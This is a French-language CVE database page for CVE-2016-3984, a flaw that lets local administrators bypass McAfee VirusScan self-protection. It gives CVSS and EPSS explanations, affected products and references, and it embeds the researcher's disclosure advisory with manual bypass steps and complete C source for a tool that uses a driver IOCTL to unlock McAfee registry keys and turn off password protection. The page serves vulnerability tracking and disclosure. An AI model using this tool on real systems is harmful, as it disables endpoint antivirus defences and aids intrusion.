CVE-2016-3984 : Détail

CVE-2016-3984

5.1
/
Moyen
A01-Broken Access Control
0.1%V3
Local
2016-04-08
13h00 +00:00
2016-04-14
11h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The McAfee VirusScan Console (mcconsol.exe) in McAfee Active Response (MAR) before 1.1.0.161, Agent (MA) 5.x before 5.0.2 Hotfix 1110392 (5.0.2.333), Data Exchange Layer 2.x (DXL) before 2.0.1.140.1, Data Loss Prevention Endpoint (DLPe) 9.3 before Patch 6 and 9.4 before Patch 1 HF3, Device Control (MDC) 9.3 before Patch 6 and 9.4 before Patch 1 HF3, Endpoint Security (ENS) 10.x before 10.1, Host Intrusion Prevention Service (IPS) 8.0 before 8.0.0.3624, and VirusScan Enterprise (VSE) 8.8 before P7 (8.8.0.1528) on Windows allows local administrators to bypass intended self-protection rules and disable the antivirus engine by modifying registry keys.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-284 Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.1 MEDIUM CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 3.6 AV:L/AC:L/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 39531

Date de publication : 2016-03-06 23h00 +00:00
Auteur : Maurizio Agazzini
EDB Vérifié : No

/* Security Advisory @ Mediaservice.net Srl (#01, 13/04/2016) Data Security Division Title: McAfee VirusScan Enterprise security restrictions bypass Application: McAfee VirusScan Enterprise 8.8 and prior versions Platform: Microsoft Windows Description: A local Windows administrator is able to bypass the security restrictions and disable the antivirus engine without knowing the correct management password Author: Maurizio Agazzini <[email protected]> Vendor Status: Fixed References: http://lab.mediaservice.net/advisory/2016-01-mcafee.txt http://lab.mediaservice.net/code/mcafee_unprotector.c 1. Abstract. McAfee VirusScan Enterprise has a feature to protect the scan engine from local Windows administrators. A management password is needed to disable it, unless Windows is running in "Safe Mode". >From our understanding this feature is implemented insecurely: the McAfee VirusScan Console checks the password and requests the engine to unlock the safe registry keys. No checks are done by the engine itself, so anyone can directly request the engine to stop without knowing the correct management password. 2. Example Attack Session. The attack can be reproduced in different ways, here are some examples. Example 1: Open the McAfee VirusScan Console and Sysinternals Process Explorer. Under Process Explorer: - Locate the mcconsol.exe process - Type CTRL+L (show lower pane) - Search for all "HKLM\SOFTWARE\McAfee\DesktopProtection" keys - Close all the handles of this registry key Go back to the McAfee Console and: - Go to: Tools -> General Options - Select the "Password Options" tab - Select "No password" and apply settings Now it is possible to stop the antivirus engine. Example 2: A specific tool has been written to request to disable password protection. After running the tool you can disable it via the VirusScan Console. Code: http://lab.mediaservice.net/code/mcafee_unprotector.c 3. Affected Platforms. All McAfee Viruscan Enterprise versions prior to 8.8 without SB10151 are affected. Exploitation of this vulnerability requires that an attacker has local Windows administrator privileges. 4. Fix. On 25 February 2016, version SB10151 hotfix has been relased by McAfee, which fixes the described vulnerability. https://kc.mcafee.com/corporate/index?page=content&id=SB10151 5. Proof Of Concept. See Example Attack Session above. 6. Timeline 07/11/2014 - First communication sent to McAfee 17/11/2014 - Second communication sent to McAfee 17/11/2014 - McAfee: Request to send again vulnerability information 18/11/2014 - Sent vulnerability information and PoC again 11/12/2014 - McAfee: Problem confirmed 09/03/2015 - Request for update to McAfee 06/05/2015 - Request for update to McAfee 06/05/2015 - McAfee: Patch release planned for Q3 20/08/2015 - McAfee: Request for deadline delay (31/03/2016) 25/02/2016 - McAfee: SB10151 patch has been relased Copyright (c) 2014-2016 @ Mediaservice.net Srl. All rights reserved. -- Maurizio Agazzini CISSP, CSSLP, OPST Senior Security Advisor @ Mediaservice.net Srl Tel: +39-011-32.72.100 Via Santorelli, 15 Fax: +39-011-32.46.497 10095 Grugliasco (TO) ITALY http://mediaservice.net/disclaimer "C programmers never die. They are just cast into void" */ /***************************************************************************** * * * McAfee Data Protector "Unprotector" * * * * A little tool to request McAfee scan engine to disable password * * protection. * * * * Advisory: http://lab.mediaservice.net/advisory/2014-01-mcafee.txt * * * * This program can be compiled with MinGW (http://www.mingw.org/) * * * * Copyright (c) 2014 @ Mediaservice.net Srl. All rights reserved * * Wrote by Maurizio Agazzini <inode[at]mediaservice.net> * * * * This program is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License * * as published by the Free Software Foundation; either version 2 * * of the License, or (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 59 Temple Place * * Suite 330, Boston, MA 02111-1307, USA. * * * *****************************************************************************/ #include <stdio.h> #include <windows.h> HANDLE opendevice() { HANDLE result; if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL) result = 0; return result; } void main(int argc, char ** argv) { HKEY reg_key = NULL; HANDLE p; DWORD BytesReturned; DWORD data = 0; unsigned long size = 4; DWORD type = REG_DWORD; DWORD data1 = 0; char status[4][70]= { "No password", "Password protection for all items listed", "Password protection for the selected items", "Password protection for conformance to Common Criteria" }; printf("\n *******************************************\n"); printf(" * McAfee Desktop Protection \"Unprotector\" *\n"); printf(" *******************************************\n\n"); /* * The PoC use HKLM\SOFTWARE\McAfee\DesktopProtection\UIPMode registry key to * disable the password protection, but you can also access to others useful * keys. * * User Password * HKLM\SOFTWARE\McAfee\DesktopProtection\UIP * HKLM\SOFTWARE\McAfee\DesktopProtection\UIPEx * * Buffer protection * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\BOPEnabled * * Access protection * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\APEnabled * * On Access Scanner * HKLM\SOFTWARE\McAfee\DesktopProtection\OASState * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\OASEnabled * * Others * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\LockDownEnabled * */ if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, &reg_key) != ERROR_SUCCESS) { if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\\Wow6432Node\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, &reg_key) != ERROR_SUCCESS) { printf("Error opening registry key...\n"); return; } } // Check current status of McAfee protection RegQueryValueEx(reg_key,"UIPMode",NULL, &type,(BYTE *)&data,&size); printf(" [+] Current UIPMode = %d (%s)\n\n", data, status[data]); RegCloseKey (reg_key); // Open McAfee magic device p = opendevice(); printf(" [-] Please John, let me write to your registry keys..."); // Request to the scan engine to stop protect registry keys DeviceIoControl(p, 0x9EDB6510u, 0, 0, 0, 0, &BytesReturned, 0); if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, &reg_key) != ERROR_SUCCESS) if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, &reg_key) != ERROR_SUCCESS) { printf(" hmmm hmmm something went wrong!\n\n"); printf(" [-] Ok John, take the control again!\n"); DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0); CloseHandle(p); return; } printf(" OK\n"); data1 = 0; if( argc > 1 ) data1 = atoi(argv[1]); // Disable McAfee protection if( RegSetValueEx(reg_key, "UIPMode", 0, REG_DWORD, (CONST BYTE *)&data1, sizeof(DWORD)) != ERROR_SUCCESS) printf("\n hmmm hmmm something went wrong!\n"); else printf("\n [+] Thank you! now we got the control! UIPMode = %d\n",data1); RegCloseKey (reg_key); printf("\n [+] Run \"%s %d\" to get original settings\n\n",argv[0],data); // Tell to engine to take control again printf(" [-] Ok John, take the control again!\n"); DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0); CloseHandle(p); }

Products Mentioned

Configuraton 0

Mcafee>>Active_response >> Version To (including) 1.1.0.158

Mcafee>>Agent >> Version To (including) 5.0.2.285

Mcafee>>Data_exchange_layer >> Version To (including) 2.0.0.430.1

Mcafee>>Data_loss_prevention_endpoint >> Version To (including) 9.3.0

Mcafee>>Data_loss_prevention_endpoint >> Version To (including) 9.4.0

Mcafee>>Endpoint_security >> Version To (including) 10.0.1

Mcafee>>Host_intrusion_prevention >> Version To (including) 8.0.0

Mcafee>>Virusscan_enterprise >> Version To (including) 8.8.0

Références

http://seclists.org/fulldisclosure/2016/Mar/13
Tags : mailing-list, x_refsource_FULLDISC
https://www.exploit-db.com/exploits/39531/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1035130
Tags : vdb-entry, x_refsource_SECTRACK